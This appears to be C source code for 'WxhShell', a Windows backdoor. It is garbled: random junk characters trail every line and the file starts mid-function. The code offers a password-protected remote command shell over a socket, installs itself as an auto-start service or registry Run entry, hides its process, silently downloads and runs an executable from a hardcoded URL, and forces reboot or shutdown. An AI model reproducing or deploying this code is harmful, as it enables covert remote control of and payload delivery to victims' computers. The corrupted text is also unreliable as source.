    else { ?x-:JME0  
    closesocket(wsh); {DVu* %|  
    ExitThread(0); H7&bUt/  
    } wz1fl#WU  
    break; ^\Gukkmh}  
    } (w/)u  
  // 获取shell :0o,pndU  
  case 's': { SGK=WLGM8  
    CmdShell(wsh); azT@S=,  
    closesocket(wsh); R.rxpJ+kU  
    ExitThread(0); W{js9$oJ  
    break; tIJ?caX5=  
  } 2 ,bLEhu  
  // 退出 6O9?":3;  
  case 'x': { !^m,v19Ds<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S(MVL!Lm  
    CloseIt(wsh); x}(p\Efx  
    break; 1 ^q~NYTK  
    } trAIh}Dj  
  // 离开 KH_~DZU*5  
  case 'q': { eT<T[; m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \&#pJBBG  
    closesocket(wsh); 3<vw#]yL  
    WSACleanup(); n |Is&fy  
    exit(1); )cUFb:D*"  
    break; >ngP\&\  
        } {S 2? }  
  } V3] Z~@  
  } U) B^R  
a-(OAzQ_  
  // 提示信息 HAOl&\)7"_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v==]v2 -  
} S{.G=O  
  } u U;]/  
+,$ SZO]  
  return; D1g .Fek5  
} 6B .x=  
[fl x/E  
// shell模块句柄 ;wF 0s  
int CmdShell(SOCKET sock) Q xg)Wb#  
{ J~,Ny_L  
STARTUPINFO si; *~H\#N|x  
ZeroMemory(&si,sizeof(si)); W2 p&LP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1w|C+m/(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oBqWIXM  
PROCESS_INFORMATION ProcessInfo; 6OOdVS3\J  
char cmdline[]="cmd"; XA4miQn&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CUG3C  
  return 0; H1^m>4ll9  
} Bk)*Z/1<x  
fO'"UI  
// 自身启动模式 PW)Gd +y  
int StartFromService(void) +`D,7"{Eu  
{ . v L4@_  
typedef struct G$T#ql  
{ /Q*o6G ys0  
  DWORD ExitStatus; YKtF)N;m]  
  DWORD PebBaseAddress; F-SD4a  
  DWORD AffinityMask; Q`* v|Lp  
  DWORD BasePriority; U 4Sxr  
  ULONG UniqueProcessId; b!hs|emo;  
  ULONG InheritedFromUniqueProcessId; {6,  l#z  
}   PROCESS_BASIC_INFORMATION; ;5TQH_g  
m(6SiV=D9  
PROCNTQSIP NtQueryInformationProcess; ?9I=XTR  
c"H59 jE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8a}et8df:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )CAEqP  
THcK,`lX@  
  HANDLE             hProcess; |'?./  
  PROCESS_BASIC_INFORMATION pbi; F\lnG  
Rx,Qw> #  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <[W41{  
  if(NULL == hInst ) return 0; -<MA\iSP  
LLlt9(^d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }>T$2"pf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R_ |Sg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~0 5p+F)  
TcjTF|q>  
  if (!NtQueryInformationProcess) return 0; piv/QP-X  
XoZPz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GiH<6<=  
  if(!hProcess) return 0; 5&QDZnsl  
(^)" qs B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B<}0r 4T}  
&R7N^*He  
  CloseHandle(hProcess); \ f6@B:?y  
t<%S_J\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q5D_bm7,3  
if(hProcess==NULL) return 0; `mt. =d  
_pZaVx  
HMODULE hMod; F]L$xU  
char procName[255]; L UitY  
unsigned long cbNeeded; 9PZY](/  
&Ub0o2+y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8;vpa*  
o fw0_)!Q  
  CloseHandle(hProcess); U0Q:sA U  
: U:>X6f  
if(strstr(procName,"services")) return 1; // 以服务启动 q[rBu9  
`~ ,  
  return 0; // 注册表启动 14LOeo5O  
} eq<giHJM  
72;4  
// 主模块 Uw:gJ 9  
int StartWxhshell(LPSTR lpCmdLine) SmR"gu  
{ Y%"6  
  SOCKET wsl; @2HNYW)  
BOOL val=TRUE; 0w24lVR.  
  int port=0; E?@batIrf  
  struct sockaddr_in door; KTzkJx  
|#x]FNg  
  if(wscfg.ws_autoins) Install(); \8 ~`NF  
;uK">L[u'  
port=atoi(lpCmdLine); nGvWlx  
`EjPy>kM  
if(port<=0) port=wscfg.ws_port; _h2s(u >\  
E,fG<X{  
  WSADATA data; iR`c/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p=-:Z?EW1  
QL{{GQ_dn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v\;hI5WY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h4\j=Np  
  door.sin_family = AF_INET; O F|3y~z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EoOB0zo}Y+  
  door.sin_port = htons(port); `fA|])3T  
&-s/F`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X?Yp=%%  
closesocket(wsl); 1`;,_>8  
return 1; 5*he  
} ecjjCt2S  
K/OE;;<IA  
  if(listen(wsl,2) == INVALID_SOCKET) { P{{pp<tX*&  
closesocket(wsl); sp VE'"^  
return 1; &q?A)R  
} liuF;*  
  Wxhshell(wsl); EP ;TfWc}1  
  WSACleanup(); /N'|Vs,X  
l_`DQ8L`  
return 0; >#j f Z5t  
R"0fZENTG  
} 9*"Ae0ok1  
YH%aPsi  
// 以NT服务方式启动 /%'>?8/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @&7|Laa  
{ U <|h4'(@L  
DWORD   status = 0; |KM<\v(A{  
  DWORD   specificError = 0xfffffff; p? q~.YY  
T{VdlgL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E(l'\q'.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ELlTR/NW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GG KD8'j]  
  serviceStatus.dwWin32ExitCode     = 0; pjh o#yP  
  serviceStatus.dwServiceSpecificExitCode = 0; Tn'_{@E;  
  serviceStatus.dwCheckPoint       = 0; ;is*[r\|1  
  serviceStatus.dwWaitHint       = 0; 13X0LN  
3Xun>ZQ-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IQz:D J  
  if (hServiceStatusHandle==0) return; +/L "A  
qq)Dh'5*e,  
status = GetLastError(); j |N8"8"  
  if (status!=NO_ERROR) z g'1T2t  
{ qBkI9H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t mCm54  
    serviceStatus.dwCheckPoint       = 0; ~|7jz;$V  
    serviceStatus.dwWaitHint       = 0; 99<0xN(25  
    serviceStatus.dwWin32ExitCode     = status; m)]A$*`<  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~BSE8M+r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w=r3QKm#K  
    return; )kq3q5*_  
  } )7H s  
;g0p`wV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DKcg  
  serviceStatus.dwCheckPoint       = 0; \8I>^4t'/  
  serviceStatus.dwWaitHint       = 0; C9`J6Uu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @y#QHJ.j  
}  ?Cu1"bl  
7xmyjy%c  
// 处理NT服务事件,比如:启动、停止 :n4X>YL)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :4ndU:.L  
{  3e<FlH{  
switch(fdwControl) (($"XOU  
{ |#r [{2sS  
case SERVICE_CONTROL_STOP: 8, >YB+Hb  
  serviceStatus.dwWin32ExitCode = 0; z&"-%l.b@}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u)DhkF|  
  serviceStatus.dwCheckPoint   = 0; #\Q{?F!4  
  serviceStatus.dwWaitHint     = 0; '_~X(izc  
  { j70]2NgX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZW]Q|vPh4U  
  } 7,\Uk|  
  return; sw(dd01a 7  
case SERVICE_CONTROL_PAUSE: :[#~,TW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }P5zf$  
  break; _>G=v!  
case SERVICE_CONTROL_CONTINUE: 4|&7j7<u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }WN0L?h.E  
  break; i&r56m<  
case SERVICE_CONTROL_INTERROGATE: 3E!#?N|v  
  break; GYx_9"J\5  
}; 7*7Z&1*3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1-Fz#v7p  
} Whf7J'  
2 us-s  
// 标准应用程序主函数 &*I\~;1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) suh@  
{ n.[0#Ur&}  
{L!w/IeX  
// 获取操作系统版本 Bh9O<|E  
OsIsNt=GetOsVer(); !Cm<K*c"&E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %'}L.OvG  
x,s Ma*vd  
  // 从命令行安装 MNE{mV(  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^8mF0K&  
X[frL)k]  
  // 下载执行文件 uc% &g  
if(wscfg.ws_downexe) { > n~l\ fC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0/8rYBV  
  WinExec(wscfg.ws_filenam,SW_HIDE); I 9yN TD  
} h\ (z!7t*  
#xqeCX 4p  
if(!OsIsNt) { 6\MJvg\;  
// 如果时win9x,隐藏进程并且设置为注册表启动 Wdt9k.hzN  
HideProc(); "d a%@Zy  
StartWxhshell(lpCmdLine); `ym@ U(;N  
} %SRUHx[D  
else +F &,,s"&  
  if(StartFromService()) nt,tM/  
  // 以服务方式启动 k)W8%=R  
  StartServiceCtrlDispatcher(DispatchTable); @j%r6N  
else gr'M6&>  
  // 普通方式启动 _}X_^taTZS  
  StartWxhshell(lpCmdLine); z$3 3NM  
Y$%/H"1bk  
return 0; zMfr`&%e  
} #clPao?r  
$XFiH~GI  
FhgO5@BO  
,3G8afo  
=========================================== G?LPj*=$?  
/znW$yh o  
~q]+\qty4  
]Dm'J%P0}  
Z!TLWX "  
|x|#n  
" 0`=#1u8  
m*L*# ZBS  
#include <stdio.h> *P_ 3A:_  
#include <string.h> DLYk#d: q?  
#include <windows.h> NymS8hxR  
#include <winsock2.h> =J0X{Ovn4z  
#include <winsvc.h> )bZS0f-  
#include <urlmon.h> Y`S9mGR#  
+/60$60[z  
#pragma comment (lib, "Ws2_32.lib") ^l#Z*0@><~  
#pragma comment (lib, "urlmon.lib") #vi `2F  
RVv@x5  
#define MAX_USER   100 // 最大客户端连接数 TIg 3'au  
#define BUF_SOCK   200 // sock buffer y4aSf2   
#define KEY_BUFF   255 // 输入 buffer LL5n{#)N  
I_mnXd;n  
#define REBOOT     0   // 重启 j]EeL=H<P  
#define SHUTDOWN   1   // 关机 a3i4eGT-  
M,Q(7z?#5  
#define DEF_PORT   5000 // 监听端口 .__X- +^  
5qkG~ YO-  
#define REG_LEN     16   // 注册表键长度 ?5e:w?&g@  
#define SVC_LEN     80   // NT服务名长度 2f1WT g)  
/,'D4s:Gg  
// 从dll定义API ^)&d7cSc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @ U6Iw"@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .OM m"RtK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x^kV;^ I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5V&3m@d0aq  
<syMrXk)R(  
// wxhshell配置信息 SwV{t}I  
struct WSCFG { 'qS&7 W(  
  int ws_port;         // 监听端口 ]}2+yK  
  char ws_passstr[REG_LEN]; // 口令 XVjs0/5b  
  int ws_autoins;       // 安装标记, 1=yes 0=no '~ RP+  
  char ws_regname[REG_LEN]; // 注册表键名 DfP4 `  
  char ws_svcname[REG_LEN]; // 服务名 q.0a0 /R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q3\ YL?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dEU +\NY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !(PAUW S@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NF <|3|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Xc;W9e(U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OosxuAC(  
mG2*s ^$  
}; 1.YDIB||  
<zE,T@c  
// default Wxhshell configuration >K$9 (  
struct WSCFG wscfg={DEF_PORT, + ^n [B  
    "xuhuanlingzhe", ~=~|@K  
    1, s/+@o:  
    "Wxhshell", )(`I1"1   
    "Wxhshell", X TpYf  
            "WxhShell Service", F@Qzh  
    "Wrsky Windows CmdShell Service", RnV )*  
    "Please Input Your Password: ", E7-il;`cKn  
  1, g$<Sh.4A  
  "http://www.wrsky.com/wxhshell.exe", Md_S};!QN6  
  "Wxhshell.exe" MG<kvx~2  
    }; bcFG$},k  
e[f}Lxln  
// 消息定义模块 Y.&nxT95=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aMQfg51W:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8SII>iL{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !L4Vz7 C  
char *msg_ws_ext="\n\rExit."; [F4] pR(  
char *msg_ws_end="\n\rQuit."; fQcJyX  
char *msg_ws_boot="\n\rReboot..."; CAdqoCz|  
char *msg_ws_poff="\n\rShutdown..."; %"|I` m  
char *msg_ws_down="\n\rSave to "; s Wk92x _l  
b6sj/V8  
char *msg_ws_err="\n\rErr!"; 7M*&^P\}es  
char *msg_ws_ok="\n\rOK!"; "w.gP8`  
5[3vu p?  
char ExeFile[MAX_PATH]; 2mj?&p?  
int nUser = 0; F)_zR  
HANDLE handles[MAX_USER]; U_ELeW5@  
int OsIsNt; 555j@  
NO5\|.,Z  
SERVICE_STATUS       serviceStatus; KECo7i=e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &5:83#*Oj  
qScc~i Oq  
// 函数声明 y/57 >.3  
int Install(void); I;xrw?=\L  
int Uninstall(void); c \cPmj@  
int DownloadFile(char *sURL, SOCKET wsh); o NX-vN-  
int Boot(int flag); 2fIHFo\8  
void HideProc(void); ~R-P%l P  
int GetOsVer(void); j4h6p(w{  
int Wxhshell(SOCKET wsl); o ?z A'5q  
void TalkWithClient(void *cs); ayR=GqZ1  
int CmdShell(SOCKET sock); S- {=4b'  
int StartFromService(void); yf7p,_E/  
int StartWxhshell(LPSTR lpCmdLine); W]b>k lp;  
m{T:<:q~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,MH/lQq%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JmL{&  
v4c*6(m  
// 数据结构和表定义 [\eh$r\   
SERVICE_TABLE_ENTRY DispatchTable[] = -I dW-9~9  
{ D@@J7  
{wscfg.ws_svcname, NTServiceMain}, '/l<\b/E  
{NULL, NULL} zf+jQ  
}; LY Y3*d  
9yla &XTD  
// 自我安装 % NSb8@  
int Install(void) DJ)Q,l*|N9  
{ MvV\?Lzj   
  char svExeFile[MAX_PATH]; _Q XC5i  
  HKEY key; h"R{{y f2  
  strcpy(svExeFile,ExeFile); }7)iLfi  
E6+c{41B  
// 如果是win9x系统,修改注册表设为自启动 wD+4#=/j  
if(!OsIsNt) { L\;n[,.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "m2g"x a\7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?r P'PUB  
  RegCloseKey(key); +d/V^ <#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r"HQ>Wn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZSWKVTi  
  RegCloseKey(key); 'x/pV5[hQ  
  return 0; KV&4Ep#  
    } W}^X;f  
  } zsM3 [2E*  
} D@.+B`bA  
else { ;W"=s79  
T$ w`=7  
// 如果是NT以上系统,安装为系统服务 ))M!"*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \N3A2L)l  
if (schSCManager!=0) \PU7,*2  
{ E~]37!,\\9  
  SC_HANDLE schService = CreateService k5M3g*  
  ( :c03"jvYE  
  schSCManager, (r Tn6[ *  
  wscfg.ws_svcname, mf4C68DI@u  
  wscfg.ws_svcdisp, N{kp^Byim0  
  SERVICE_ALL_ACCESS, jimWLF5Q5"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &Ul8h,qw  
  SERVICE_AUTO_START, Rda~Drz  
  SERVICE_ERROR_NORMAL, y}5:CZ  
  svExeFile, ULT,>S6r  
  NULL, t[=-4;  
  NULL, y6#AL<W@=  
  NULL, 2g0_[$[m  
  NULL, xlKg0 &D  
  NULL Cpg>5N~;L  
  ); `2 6t+Tb  
  if (schService!=0) J_-K"T|f  
  { rJz`v/:|P  
  CloseServiceHandle(schService); >]dH1@@  
  CloseServiceHandle(schSCManager); P:8 qm DXo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WR :I2-1  
  strcat(svExeFile,wscfg.ws_svcname);  =&8Cg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .I h'&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OdSglB  
  RegCloseKey(key); 6j 2mr6o  
  return 0; J ?y0R X  
    } Xzn}gH]  
  } W)~}o<a)[  
  CloseServiceHandle(schSCManager); @1c[<3xJ T  
} g.,_E4L  
} [H4)p ,R  
_GW,9s^A  
return 1; /^M|$JRI  
} 1#Q~aY  
@sPuc.  
// 自我卸载 %M7EOa  
int Uninstall(void) n[E/O}3& /  
{ bI?uV;m>  
  HKEY key; Fo.p}j+>  
'nQQqx%v  
if(!OsIsNt) { lnQfpa8j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l $:?82{  
  RegDeleteValue(key,wscfg.ws_regname); qmy3pnL  
  RegCloseKey(key); UlD]!5NO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  I?R?rW  
  RegDeleteValue(key,wscfg.ws_regname); bnzIDsw!Q  
  RegCloseKey(key); !,Uzt1K:  
  return 0; v\ <4y P  
  } O[<YYL 0  
} Ne b")  
} e8,!x9%J  
else { %=*nJvYS  
*]K/8MbiF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JqTR4[`Z\  
if (schSCManager!=0) Dkyw3*LCn%  
{ ;N?raz2mEi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @3v[L<S{  
  if (schService!=0) EvGKcu  
  { g3*J3I-O  
  if(DeleteService(schService)!=0) { bAwFC2jO[  
  CloseServiceHandle(schService); }trQ<*D  
  CloseServiceHandle(schSCManager);  k:i}xKu  
  return 0; ?#0m[k&`  
  } 0J z|BE3Y  
  CloseServiceHandle(schService); W*WSjuFr2  
  } J#) %{k_  
  CloseServiceHandle(schSCManager); X%R)  
} U$m[{r2M  
} i5; _  
)YY8`\F>1  
return 1; ozUsp[W>  
} kE[Hq-J=N  
AAc*\K  
// 从指定url下载文件 kP[LS1}*  
int DownloadFile(char *sURL, SOCKET wsh) _xu_W;nh  
{ FCIA8^}s  
  HRESULT hr; N /Fa^[  
char seps[]= "/"; cM Z-  
char *token; aS/MlMf  
char *file; f7v|N)  
char myURL[MAX_PATH]; []<N@a6VA>  
char myFILE[MAX_PATH]; DP6>fzsl  
s$ZKd  
strcpy(myURL,sURL); shuoEeoo  
  token=strtok(myURL,seps); qBF}-N_  
  while(token!=NULL) hOM#j  
  { ["BD,mB  
    file=token; Xf%wW[~  
  token=strtok(NULL,seps); zL=PxFw0  
  } ,/Al'  
s<'WTgy1i  
GetCurrentDirectory(MAX_PATH,myFILE); #McX  
strcat(myFILE, "\\"); '9tV-whw  
strcat(myFILE, file); XJ6=Hg4_O  
  send(wsh,myFILE,strlen(myFILE),0); N?l  
send(wsh,"...",3,0); b~Un=-@5a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qk_YFR?R  
  if(hr==S_OK) ['_W <  
return 0;  CT[CM+  
else JWV n@)s  
return 1; |0$7{nQ  
`7 3I}%?  
} c +N\uG4  
!n`Y^  
// 系统电源模块 >o4Ih^VB  
int Boot(int flag) n_eN|m?@  
{ a+ s%9l  
  HANDLE hToken; 2'-o'z<  
  TOKEN_PRIVILEGES tkp; RN ~pC  
ppR; v  
  if(OsIsNt) { L8~zQV$h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b@ OF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PwS7!dzH-  
    tkp.PrivilegeCount = 1; fp2uk3Bm[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; & d@N3y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [;$9s=:[  
if(flag==REBOOT) { ;t \C!A6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) # 5b   
  return 0; i'MpS  
} V!zU4!@qP  
else { m/p:W/0L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eD)@:K  
  return 0; :$^cY>o  
} c3!YA"5  
  } &w{: qBa  
  else { =q<t,UP8  
if(flag==REBOOT) { ^ Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^-g-]?q  
  return 0; LDY k\[81  
} x.ucsb  
else { I9hZ&ed16  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m98w0D@Ee  
  return 0; Z3N^)j8  
} H{+[ ,l  
} ;hCUy=m.  
@!,W]?{  
return 1; _\u?]YTv  
} N'=b8J-fF  
R:, |xz  
// win9x进程隐藏模块 =S<E[D{V`  
void HideProc(void) )|`w;F>  
{ n1)~/ >  
0xzS9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qU+q Y2S:  
  if ( hKernel != NULL ) vxl!`$Pi  
  { C~c|};&%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O=\`q6l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VL/KC-6  
    FreeLibrary(hKernel); {"hyr/SKd  
  } PGJkQsp0  
QP<vjj%  
return; a n|bzG  
} qV:TuR-|w  
#iAw/a0&  
// 获取操作系统版本 2}kJN8\F  
int GetOsVer(void) #8i9@w  
{ )5Ofr-Y  
  OSVERSIONINFO winfo; ldRisL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]Nb~-)t%B  
  GetVersionEx(&winfo); 6a4-VX5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @0fiui_  
  return 1; Fg^Z g\X3  
  else 3<X*wVi)NN  
  return 0; 4&wwmAp^  
} g%%j"Cz1  
df7 xpV  
// 客户端句柄模块 oWV^o8& GH  
int Wxhshell(SOCKET wsl) ;[!W*8.c  
{ ?.6fVSa  
  SOCKET wsh; 4nU+Wj?T  
  struct sockaddr_in client; Ht&%`\9s  
  DWORD myID; \><v1x>;  
#jT=;G7f2  
  while(nUser<MAX_USER) R[f@g;h  
{ 9 $ Ud\   
  int nSize=sizeof(client); d5l].%~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c-=z<:Kf  
  if(wsh==INVALID_SOCKET) return 1;  y aLc~K  
k*!f@ M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?~WDl j3  
if(handles[nUser]==0) QRlrcauM  
  closesocket(wsh); QO <.l`F  
else  3;f}w g  
  nUser++; 'FwNQzzt  
  } uM@ve(8\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CkEbSa<)hK  
r"=6s/q7  
  return 0; ;Ff5ooL{  
} nPj &a  
7R=A]@  
// 关闭 socket ?f4jqF~Fh  
void CloseIt(SOCKET wsh) G\/7V L  
{ MRa |<yK  
closesocket(wsh); S*S @a4lV7  
nUser--; YHfk; FI  
ExitThread(0); 3mH(@ -OA  
} `m=u2kxY  
@%4tWE  
// 客户端请求句柄 ,]Q i/m  
void TalkWithClient(void *cs) 2PG= T/  
{ ]_y0wLq  
xOBzT&  
  SOCKET wsh=(SOCKET)cs; TY]-L1$  
  char pwd[SVC_LEN]; ),&tF_z:  
  char cmd[KEY_BUFF]; 0/,Dy2h  
char chr[1]; +hz S'z)n&  
int i,j; %TS8 9/  
GCv*a[8?n  
  while (nUser < MAX_USER) { EbMG9  
Erq% Ck(  
if(wscfg.ws_passstr) { *;Gnod<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d <Rv~F@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GOj<>h}r  
  //ZeroMemory(pwd,KEY_BUFF); ?@5#p*u0  
      i=0; =SpD6 9-H  
  while(i<SVC_LEN) { z P=3B%$  
zj UT:#(k  
  // 设置超时 yvt :/X  
  fd_set FdRead; Pef$-3aP>E  
  struct timeval TimeOut; prCr"y` M  
  FD_ZERO(&FdRead); <v[UYvZvY  
  FD_SET(wsh,&FdRead); Ncsk~=[  
  TimeOut.tv_sec=8; q+?>shqsZ  
  TimeOut.tv_usec=0; hWfC"0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >Z!H9]f(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2sOetmWE7  
g"|Z1iy|9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V jZx{1kCR  
  pwd=chr[0]; 8bW,.to(?x  
  if(chr[0]==0xd || chr[0]==0xa) { 9 t o2V  
  pwd=0; }4wIfI83K,  
  break; KXbD7N.  
  } t7qzAr  
  i++; *;X,yEK[  
    } RZ GD5`n  
XpoEZ|0  
  // 如果是非法用户,关闭 socket ;.#l[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X@up=%(  
} U!Eo*?LU$  
0 \}%~e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xe9V'wICp(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #Oq~ZV|<l  
hH*/[|z  
while(1) { mYw9lM  
Z9k"&F ~u}  
  ZeroMemory(cmd,KEY_BUFF); {[$JiljD  
4I7;/ZgALQ  
      // 自动支持客户端 telnet标准   EViQB.3w\  
  j=0; >cRE$d?  
  while(j<KEY_BUFF) { GK8x<Aq%z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >do3*ko A  
  cmd[j]=chr[0]; ;@ lC08SE  
  if(chr[0]==0xa || chr[0]==0xd) { Gz@/:dW^vZ  
  cmd[j]=0; IPEJ7 n49  
  break; qTi%].F"G  
  } BIeeu@p  
  j++; (5R_q.Wu  
    } z2DjYTm[~  
~$:=hT1  
  // 下载文件 :iVEm9pB)  
  if(strstr(cmd,"http://")) { R4q)FXW29  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {3R?<ET]mt  
  if(DownloadFile(cmd,wsh)) ED=P  6u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -9@/S$i  
  else Mr u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jI~GRk  
  } `vj"HhC  
  else { z3 Ro*yJU  
<Q|(dFr`v  
    switch(cmd[0]) { 5Ff1x-lQ  
  v dR6y  
  // 帮助 '>0rp\jC  
  case '?': { >+ E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c</u]TD  
